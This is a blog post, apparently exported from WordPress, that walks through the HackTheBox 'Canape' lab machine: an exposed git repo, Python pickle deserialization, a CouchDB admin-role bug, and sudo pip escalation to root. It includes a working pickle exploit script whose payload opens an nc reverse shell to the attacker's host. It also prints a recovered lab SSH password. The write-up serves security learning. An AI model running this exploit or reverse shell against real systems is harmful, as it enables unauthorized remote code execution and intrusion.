{"id":321,"date":"2020-06-25T08:33:24","date_gmt":"2020-06-25T08:33:24","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=321"},"modified":"2020-06-25T08:36:15","modified_gmt":"2020-06-25T08:36:15","slug":"canape-hackthebox-writeup","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/canape-hackthebox-writeup\/","title":{"rendered":"Canape hackthebox Writeup"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hey pentesters! In this post blog post, I am gonna walk you through <strong>canape<\/strong> that is a <strong>medium linux machine<\/strong> from hackthebox.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Summary<\/h2>\n\n\n\n<p>The initial foothold on the box is based on <strong>python pickle injection<\/strong> that leads to remote code execution. Privilege escalation to user exploits a <strong>vulnerability in couchdb<\/strong> that can be leveraged to create a dummy user with _admin role. Lastly, privilege escalation to root exploits the <strong>sudo privileges on \/usr\/bin\/pip<\/strong><\/p>\n\n\n\n<p>It was a fun box to pwn. So without any further ado, lets get started!\u00a0<\/p>\n\n\n\n<p>Starting with nmap scan, I found http open. Interestingly the presence of .git was reflected as part f the scan.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background pad\">\u00a0\u26a1 root@kali\u00a0 ~\/Desktop\/htb\/canape \u00a0 master\u00a0 nmap -sC -sV 10.10.10.70 -o canape.nmap\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2020-06-24 00:04 IST\nNmap scan report for 10.10.10.70\nHost is up (0.26s latency).\nNot shown: 999 filtered ports\nPORT \u00a0 STATE SERVICE VERSION\n80\/tcp open\u00a0 http\u00a0 \u00a0 Apache httpd 2.4.18 ((Ubuntu))\n| http-git:\u00a0\n| \u00a0 10.10.10.70:80\/.git\/\n| \u00a0 \u00a0 Git repository found!\n| \u00a0 \u00a0 Repository description: Unnamed repository; edit this file 'description' to name the...\n| \u00a0 \u00a0 Last commit message: final # Please enter the commit message for your changes. Li...\n| \u00a0 \u00a0 Remotes:\n|_\u00a0 \u00a0 \u00a0 http:\/\/git.canape.htb\/simpsons.git\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Simpsons Fan Site\n|_http-trane-info: Problem with XML parsing of \/evox\/about\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 30.49 seconds\n<\/pre>\n\n\n\n<p>&nbsp;So i quickly went through the url, http:\/\/10.10.10.70.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/fhfGvHW2q5A8TmZeRcq98lh9Em3QQYnrV2c15y6TwZEqE0OV2WZnnbWp4phhb9UZCOmWpA3mQBNU4797xewlEHtqbQ-V5N2ObuS1nfcA8Ki39m5KuCPWBCKz2eyyicEH2aA_149s\" alt=\"\"\/><\/figure>\n\n\n\n<p>The title was simpson\u2019s fan site. Clicking through buttons, I found a few more pages that didnt lead to interesting results.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/nkjUJyL0Ebalb7X5irze8UjBVeCzHduIQx94gg8juxXSAPrbwrTFyG-2kFoc2hRrXZzBMB1GS9yaIoeR0CjmVXU2Bkf161iA_DO8VqMwj9XGT8js798HntLdUj2KydCC74LVjw3u\" alt=\"\"\/><\/figure>\n\n\n\n<p>Alongside manual enumeration, I spawned up a gobuster scan but that too didnt returned anything interesting! But there was .git present, as obtained from nmap scans. So i looked upon <span class=\"has-inline-color has-vivid-cyan-blue-color\">HTTP:\/\/10.10.10.70\/.git<\/span> and found the default directory structure.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/RBKvXXTDeVBJuWedcuM2_W0Q9Z9IAJenfAMLtBevmgcoJjHKQsMyXBfr9uHNbpORYeNV15gfehydYy-3nq9UsT9ZkPkVUd6jsmfj0IxYZApM5F_OXnU5I1bBz7crlMSsmgT00_Cr\" alt=\"\"\/><\/figure>\n\n\n\n<p><strong>\/config<\/strong> was a good starting point. Following were its contents:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/o5KzPwTdiU5_pavdthKINSY-FjVv-nLSC0HQi-ZMhXaHkTT5nfFg43f83h7XmK27QyNY3Llol-idTArXivCE59ik2H-rkjzxZ0DTma7rGw3zKyS5OAImL0bnx5Oe1Ao8CyNaqf4Q\" alt=\"\"\/><\/figure>\n\n\n\n<p>There was an <strong>url to a git repo<\/strong>. Analysing a git repo is essential as it can lead to exposure of sensitive information.<\/p>\n\n\n\n<p>Following is the screenshot of the logs.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/1YpUBDX56eFPiuIntVA1OLeR9Psfy63BxRyuS13gzt-yDDraZJfZf1SPxxj__iPqomCHbEXUplKn5VM6RracRu7xN0J1JO86bZkm9TF7UFQGq7CWpPJGEgjmmV8Ki71IcyUzrC4F\" alt=\"\" width=\"677\" height=\"147\"\/><\/figure>\n\n\n\n<p>Under the page source of <a href=\"http:\/\/10.10.10.70\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">http:\/\/10.10.10.70<\/span><\/a>, I found this comment. It listed an endpoint \/check<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/qg_voWFTUtlqvE7qkEFGkecoVePggr_y7-DXBQvHKHJTEhnPoapJ4iSdOU_MKObhPMIPF8j58D-kBGHsqmg380St_9E8qXlJz11IHFVjQZGdg9ygcToVnoh5tXv1xzWAUGmnKHNl\" alt=\"\"\/><\/figure>\n\n\n\n<p>But, <a href=\"http:\/\/10.10.10.70\/check\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">http:\/\/10.10.10.70\/check<\/span><\/a> didnt seemed to work. Below is the request-response captured on the burp.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/wUuLDjqkhlxUvtdQ_1e4WAMpO-k5HW_r_JgVJz-hCc2plPulLDffWBvHdkUKerR_m1qYjnL3jHuRMQ8F6Wvz7DJjMQi-iFo3Z_oHTjOmV-X_ooWvhM3hXg1-_uVRFv9l876jna6G\" alt=\"\" width=\"778\" height=\"203\"\/><figcaption>\/check request<\/figcaption><\/figure>\n\n\n\n<p>Next, I cloned the git repo using<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># git clone <a href=\"http:\/\/git.canape.htb\/simpsons.git\">http:\/\/git.canape.htb\/simpsons.git<\/a><\/pre>\n\n\n\n<p>But before that, make an entry to <strong>\/etc\/hosts specifying git.canape.htb<\/strong> as one of the virtual hosts.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/nFRnFpStu-sijxtDO9bEeyr4mf1UcnT45cVTKCqEQc5PMnSK_5GW1nP8m7Nk1iYC0SqMrKxU2Hgo07juy2ODarDPKy-opA18PJEI4Sy39OW05REjIOS8htuNZ6olBs2QO4oqa4MW\" alt=\"\"\/><\/figure>\n\n\n\n<p>While analysing the logs, I found the one below that mentioned about the check functionality that didnt seemed to work earlier.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/g2wk158ijVusnG94XxZqb8L6V7rf9Imeh4qoYuiJulxyzDyDWDXhR5wIIEAiAY2FffEAtnpgf44uk62vo3QmVFMJQlbtqp5YCm1bZfE-dT6xEhVMNE2OTWCfg6V0pmiuFtQ-kZIw\" alt=\"\"\/><\/figure>\n\n\n\n<p>So I performed a git diff over that commit.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0<\/pre>\n\n\n\n<p>Looking at the code and its different endpoints like check, submit, one interesting thing to note was that it was using pickle module of python for <strong>serialization-deserialization<\/strong>.<br> <span class=\"has-inline-color has-vivid-red-color\"><strong>And according to the official documentation of the module, any untrusted data by the user if deserialized can lead to remote code execution.<\/strong><\/span><\/p>\n\n\n\n<p>For more information on insecure deserialization, visit <span class=\"has-inline-color has-vivid-cyan-blue-color\"><strong><a rel=\"noreferrer noopener\" href=\"https:\/\/shreyapohekar.com\/blogs\/understanding-insecure-deserialization\/\" target=\"_blank\">here<\/a><\/strong><\/span>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background scroll\">import couchdb\nimport string\nimport random\nimport base64\nimport cPickle\nfrom flask import Flask, render_template, request\nfrom hashlib import md5\n\napp = Flask(__name__)\napp.config.update(\n\u00a0\u00a0\u00a0\u00a0DATABASE = \"simpsons\"\n)\ndb = couchdb.Server(\"http:\/\/localhost:5984\/\")[app.config[\"DATABASE\"]]\n\n@app.errorhandler(404)\ndef page_not_found(e):\n\u00a0\u00a0\u00a0\u00a0if random.randrange(0, 2) > 0:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))\n\u00a0\u00a0\u00a0\u00a0else:\nreturn render_template(\"index.html\")\n\n@app.route(\"\/\")\ndef index():\n\u00a0\u00a0\u00a0\u00a0return render_template(\"index.html\")\n\n@app.route(\"\/quotes\")\ndef quotes():\n\u00a0\u00a0\u00a0\u00a0quotes = []\n\u00a0\u00a0\u00a0\u00a0for id in db:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0quotes.append({\"title\": db[id][\"character\"], \"text\": db[id][\"quote\"]})\n\u00a0\u00a0\u00a0\u00a0return render_template('quotes.html', entries=quotes)\n\nWHITELIST = [\n\u00a0\u00a0\u00a0\u00a0\"homer\",\n\u00a0\u00a0\u00a0\u00a0\"marge\",\n\u00a0\u00a0\u00a0\u00a0\"bart\",\n\u00a0\u00a0\u00a0\u00a0\"lisa\",\n\u00a0\u00a0\u00a0\u00a0\"maggie\",\n\u00a0\u00a0\u00a0\u00a0\"moe\",\n\u00a0\u00a0\u00a0\u00a0\"carl\",\n\u00a0\u00a0\u00a0\u00a0\"krusty\"\n]\n\n@app.route(\"\/submit\", methods=[\"GET\", \"POST\"])\ndef submit():\n\u00a0\u00a0\u00a0\u00a0error = None\n\u00a0\u00a0\u00a0\u00a0success = None\n\n\u00a0\u00a0\u00a0\u00a0if request.method == \"POST\":\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0char = request.form[\"character\"]\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0quote = request.form[\"quote\"]\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if not char or not quote:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0elif not any(c.lower() in char.lower() for c in WHITELIST):\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0# TODO - Pickle into dictionary instead, `check` is ready\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0p_id = md5(char + quote).hexdigest()\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0outfile = open(\"\/tmp\/\" + p_id + \".p\", \"wb\")\noutfile.write(char + quote)\noutfile.close()\n\u00a0 \u00a0 \u00a0 \u00a0 success = True\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0except Exception as ex:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0error = True\n\n\u00a0\u00a0\u00a0\u00a0return render_template(\"submit.html\", error=error, success=success)\n\n@app.route(\"\/check\", methods=[\"POST\"])\ndef check():\n\u00a0\u00a0\u00a0\u00a0path = \"\/tmp\/\" + request.form[\"id\"] + \".p\"\n\u00a0\u00a0\u00a0\u00a0data = open(path, \"rb\").read()\n\n\u00a0\u00a0\u00a0\u00a0if \"p1\" in data:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0item = cPickle.loads(data)\n\u00a0\u00a0\u00a0\u00a0else:\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0item = data\n\n\u00a0\u00a0\u00a0\u00a0return \"Still reviewing: \" + item\n\nif __name__ == \"__main__\":\n\u00a0\u00a0\u00a0\u00a0app.run()\n<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/sHe6E6OOZPRbZAsrAJJC3FCT7eR7Yag5bc4js6-OzIDHClB4ZHPa548XrDwjSWS8HxijFUNEJ1vu1BPcKmnLyuMsK93GOtg5Ps-qI5brI0QfrTX9S4M6FtFZE8YYZC0tnm0zFG8L\" width=\"428\" height=\"225\"><\/p>\n\n\n\n<p>\u00a0So this code basically depicts the functionality of all the buttons that were present on<span class=\"has-inline-color has-vivid-cyan-blue-color\"> <a href=\"http:\/\/10.10.10.70\">http:\/\/10.10.10.70<\/a><\/span>.<\/p>\n\n\n\n<p>According to the code, the untrusted data gets submitted by the user using the submit functionality on<span class=\"has-inline-color has-vivid-cyan-blue-color\"> <a rel=\"noreferrer noopener\" href=\"http:\/\/10.10.10.70\/submit\" target=\"_blank\">http:\/\/10.10.10.70\/submit<\/a><\/span> where the user can submit the quotes. But there is a condition. There are a few whitelisted names like homer, marge, bart. Only these can be the value of the field: character. Well, the character name won&#8217;t create any problem for us.\u00a0<\/p>\n\n\n\n<p>The data that was submitted in \/submit is checked inside <a href=\"http:\/\/10.10.10.70\/check\">http:\/\/10.10.10.70\/check<\/a> . cPickle.loads() method is used that is used to deserialize the data that was kept in the file. From the method declaration, Its clear that \/check uses POST as request method along with some post parameter that are required to sent along with the request. Here its \u201cid\u201d.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploit<\/h2>\n\n\n\n<ol class=\"wp-block-list\"><li>We will submit serialized data in \/submit. The data is basically our reverse shell.<\/li><li>After submission we get an id<\/li><li>That id has to be posted inside the id parameter of \/check.<\/li><li>\/check deserializes the malicious quote that we sent and gives us <a href=\"https:\/\/shreyapohekar.com\/blogs\/understanding-insecure-deserialization\/\" target=\"_blank\" rel=\"noreferrer noopener\"><span class=\"has-inline-color has-vivid-cyan-blue-color\"><strong>command execution<\/strong><\/span><\/a>.<\/li><\/ol>\n\n\n\n<p>For this, a python script can be made that will automate the whole process.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background scroll\"><code>import pickle as pk\nfrom hashlib import md5\nimport requests\nimport os\n\nclass MyExploit(object):\n\tdef __reduce__(self):\n  \tcmd = 'echo homer!;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&amp;1|nc 10.10.14.7 8001 >\/tmp\/f'\n  \treturn (os.system, (cmd,))\n\nsc = pk.dumps(MyExploit())\nprint sc\nchar, quote = sc.split(\"!\")\np_id = md5(char+ quote).hexdigest()\n\nrequests.post(\"http:\/\/10.10.10.70\/submit\", data={'character':char, 'quote':quote})\nrequests.post(\"http:\/\/10.10.10.70\/check\", data={'id':p_id})<\/code><\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/lWYFxF4kfwgBeZDTMu43jw9kPY1GNcSf7ThbKsqlt7WUxtTBeJ9VmIVh627cpsgOqvecSkWF1bH-IqnGepfsChfb13i4r5PaEKwhdOvqywhnFHLz_MU6luxnLhbWG-JeAEOQJhR9\" width=\"624\" height=\"520\"><\/p>\n\n\n\n<p>So as the python pickle exploit runs, we get a shell on the port on which we were listening with netcat.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Getting user on the box<\/h2>\n\n\n\n<p>I started enumeration with LinEnum.sh. Under the heading listening TCP, there was a port, <strong>5984 listening on localhost.<\/strong>\u00a0<\/p>\n\n\n\n<p style=\"background-color:#ffede6\" class=\"has-text-color has-background has-vivid-red-color\">Tip: Always check for the default services that runs on the port specified. These are the services running on the internal network that can be used for further privilege escalation.<\/p>\n\n\n\n<p>I checked over on internet and the service running was <strong>couchdb<\/strong>. It was predictable as couchdb module was imported in __init__.py in the git repo.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/jyjiQRi5GjQSv5KwtWW8e6sc1__dLsCOP__Yv5xUctUULlNioCyvucRD2Ot8hpSWlbDtX8XEIhWVhxlMrxdQP7QQiZWwDv0G8_aGDS4evPJW7x4CGBVgh6qaAqlir9VqUBxIsWVP\" alt=\"ports listening on tcp\"\/><figcaption>ports listening on tcp<\/figcaption><\/figure>\n\n\n\n<p>We can communicate with couchdb server with curl command.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># curl <a href=\"http:\/\/127.0.0.1:5984\/\">http:\/\/127.0.0.1:5984\/<\/a><\/pre>\n\n\n\n<p>To find all the databases use,<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># curl -X&nbsp; GET http:\/\/127.0.0.1\/_all_dbs<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/zhJkHwh5iekiyx1S9KtJyjckZNucdA3uwuUWXSIXjQDJQa2sI71bVGHqtpXV47YTjiwNX5fOVBjXUFW89HFi308NzGov2kRtZeYApGmX_I0nlrsdotTBK9Y8zkl9pXg8mWV8g60O\" alt=\"querying coudb\"\/><figcaption>querying coudb<\/figcaption><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">www-data@canape:\/$ curl -X GET http:\/\/127.0.0.1:5984\/_users\u00a0\u00a0\u00a0\ncurl -X GET http:\/\/127.0.0.1:5984\/_users\n{\"db_name\":\"_users\",\"update_seq\":\"9-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6RnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW5N4sAN1Nbzc\",\"sizes\":{\"file\":70895,\"external\":2085,\"active\":4111},\"purge_seq\":0,\"other\":{\"data_size\":2085},\"doc_del_count\":1,\"doc_count\":1,\"disk_size\":70895,\"disk_format_version\":6,\"data_size\":4111,\"compact_running\":false,\"instance_start_time\":\"0\"}<\/pre>\n\n\n\n<p>I checked all the databases, but found nthing interesting. But when i tried to accessed the contents of passwords database, I got this error.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/9pBOI_J0qxelOkfmci2Dk_NXonkMdqX4yS4RP1RU6fw_YZIOXroXwRnfXUMP1eLhepJFwvPVnY_i1kCBAjm_CpVVM4-XKsXNz0BdfTHiQIKSNoqcyqo_LaBLjtb7d5CvvImlWnAo\" alt=\"\"\/><\/figure>\n\n\n\n<p>That was because I didnt had any username or password.<\/p>\n\n\n\n<p>I performed a searchsploit on couchdb and got a lot of results.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/XrUS-7m5eP8f_uH6L9cRVt1VUT1JDHvGLR19p5scvmKAeeJMmi3tqEew8NjAbF3J4qTxcGPQf7Bm84URdYpVRibtnIA7WFMcM2aDazbpH6mKXMieao1TM_BSMbylZ_x8LUrEG-zv\" alt=\"couchdb rce < 2.1.0\"\/><figcaption>couchdb rce &lt; 2.1.0<\/figcaption><\/figure>\n\n\n\n<p>The last one with remote code execution seemed promising so I copied the exploit from local machine to the victim using curl.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Vulnerability&nbsp;<\/h2>\n\n\n\n<p>The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB (no-sql database), called<span class=\"has-inline-color has-vivid-cyan-blue-color\"> <a href=\"https:\/\/github.com\/apache\/couchdb-jiffy\">jiffy<\/a><\/span>. Check out how each one deals with duplicate keys on an object like {&#8220;foo&#8221;:&#8221;bat&#8221;, &#8220;foo&#8221;:&#8221;bas&#8221;}:<\/p>\n\n\n\n<p>Erlang (couchdb is written in this language):<br>\n&gt; jiffy:decode(&#8220;{\\&#8221;foo\\&#8221;:\\&#8221;bat\\&#8221;, \\&#8221;foo\\&#8221;:\\&#8221;bas\\&#8221;}&#8221;). <br>\n{[{<<\"foo\">>,<<\"bat\">>},{<<\"foo\">>,<<\"bas\">>}]}<\/p>\n\n\n\n<p>Javascript:<br> > JSON.parse(&#8220;{\\&#8221;foo\\&#8221;:\\&#8221;bat\\&#8221;, \\&#8221;foo\\&#8221;: \\&#8221;bas\\&#8221;}&#8221;)<br> {foo: &#8220;bas&#8221;}<\/p>\n\n\n\n<p>The json parser will only store the last value, but the &nbsp;getter function for CouchDB\u2019s internal representation of the data will only return the <em>first<\/em> value.<\/p>\n\n\n\n<p>That can be bypassed and a new user can be created with<strong> _admin<\/strong> role who will have full control over the database.For more details visit <a rel=\"noreferrer noopener\" href=\"https:\/\/justi.cz\/security\/2017\/11\/14\/couchdb-rce-npm.html\" target=\"_blank\"><strong><span class=\"has-inline-color has-vivid-cyan-blue-color\">here<\/span><\/strong><\/a><\/p>\n\n\n\n<p>Upon execution, it printed that user guest with password guest has been created with _admin role. So now we can view the contents of passwords database.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">www-data@canape:\/tmp$\u00a0 curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/_all_docs\n\u00a0curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/_all_docs\n{\"total_rows\":4,\"offset\":0,\"rows\":[\n{\"id\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"key\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"value\":{\"rev\":\"2-81cf17b971d9229c54be92eeee723296\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc43800368d\",\"key\":\"739c5ebdf3f7a001bebb8fc43800368d\",\"value\":{\"rev\":\"2-43f8db6aa3b51643c9a0e21cacd92c6e\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc438003e5f\",\"key\":\"739c5ebdf3f7a001bebb8fc438003e5f\",\"value\":{\"rev\":\"1-77cd0af093b96943ecb42c2e5358fe61\"}},\n{\"id\":\"739c5ebdf3f7a001bebb8fc438004738\",\"key\":\"739c5ebdf3f7a001bebb8fc438004738\",\"value\":{\"rev\":\"1-49a20010e64044ee7571b8c1b902cf8c\"}}\n]}<\/pre>\n\n\n\n<p>Now we will query the server with the id parameter<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">www-data@canape:\/tmp$ curl -X GET http:\/\/guest:guest@127.0.0.1\/passwords\/739c5ebdf3f7a001bebb8fc4380019e4\n\n{\"_id\":\"739c5ebdf3f7a001bebb8fc4380019e4\",\"_rev\":\"2-81cf17b971d9229c54be92eeee723296\",\"item\":\"ssh\",\"password\":\"0B4jyA0xtytZi7esBNGp\",\"user\":\"\"}<\/pre>\n\n\n\n<p>The user is null here. But we can try the password for the<strong> user- homer<\/strong> that exists on the box.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/kb7l-zAzhRf0wvqNco6ixEzoj2K2sSf6tplks19nK31awWZqBQQDztgMD2NZ0y4zrt32EeHhAi82DvxVNyYd6botU3YZKByAAWCarcTG7tJSmWT9cLrA2yv69iNGGppdkPcJckdt\" alt=\"homer successfully logged in\"\/><figcaption>homer successfully logged in<\/figcaption><\/figure>\n\n\n\n<p>And it worked!!! User Pwned.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/xAp4ftBm74jjx9M6ZMP6xlQyFqSWAl9ZfN-7urNnOIp4WFHKI1aCUsWtxLPBDYGTxZ_Odyk3EYzOE7jIy3GL4m1f8LRfQlwiNkrDOoMl9wSnBAKqhI3uOgjZ9Msfdj5ylRYcmKJ2\" alt=\"getting user.txt for homer\"\/><figcaption>getting user.txt for homer<\/figcaption><\/figure>\n\n\n\n<p>Upon enumeration with LinEnum.sh, I found that <strong>sudo<\/strong> was present on the box. So the very first thing to test is if there are any sudo privileges on the box?<\/p>\n\n\n\n<p>Check with<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># sudo -l<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/eyTq374f-2jIKIcnjAYgRu-oSFsRvDkHRrek1K5CfNFwDTE6mWJcnR_K0cy5yPnynGS7OIAirazEK_Dq3so1saksoiVxHVetPytfzT7JegKz5ZdnIOJzNkUEKfpXaFBohvuYzMjW\" alt=\"pip can run with sudo\"\/><figcaption>pip can run with sudo<\/figcaption><\/figure>\n\n\n\n<p>Homer can run<strong> \/usr\/bin\/pip install<\/strong> with<strong> root privileges<\/strong>. I searched for privilege escalation with pip and found a link to <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/pip\/\" target=\"_blank\" rel=\"noreferrer noopener\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">https:\/\/gtfobins.github.io\/gtfobins\/pip\/<\/span><\/a><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/RhrMURUjz8zWZWTy9MAGLbrJYrjYKys2W3hRmO4UircvDaqIA1et8f5Aij6aOGbWzSqaerIWUe7l1Ia5qVxSE56nDdZyudNA-GeGmkThJzSGaSqu0k_ZKZTO8CjuclKN0ga6Pch4\" alt=\"\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Steps in exploitation<\/h2>\n\n\n\n<ol class=\"wp-block-list\"><li>A temporary directory is created with <strong>mktemp -d <\/strong>and is stored in variable TF<\/li><li>Now we insert our shell code(that will be running as root) in a file inside the temporary directory with name <strong>setup.py<\/strong><\/li><li>When we pip install that directory with, the python payload gets executed as root and we get a shell.<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/1Z0u46h_Cq2GdQMQqZbdwgU108alLg-yaNeSBAUKd-njjeOr57GyZXuw64jLmDb30xQCgRqH_FadNcghnZ-C0gSdLm8MJhO2bOhEiPKqFYtCXUIcMhX_OIX2MmWKNhrNqWo1ocPN\" alt=\"\"\/><\/figure>\n\n\n\n<p>Thats all for the blog post. Hope you enjoyed reading it. For much content on infosec subscribe to my page.<br>\nUntil then, happy hunting!!<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey pentesters! In this post blog post, I am gonna walk you through canape that is a medium linux machine from hackthebox. Summary The initial foothold on the box is based on python pickle injection that leads to remote code execution. Privilege escalation to user exploits a vulnerability in couchdb that can be leveraged to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":326,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_we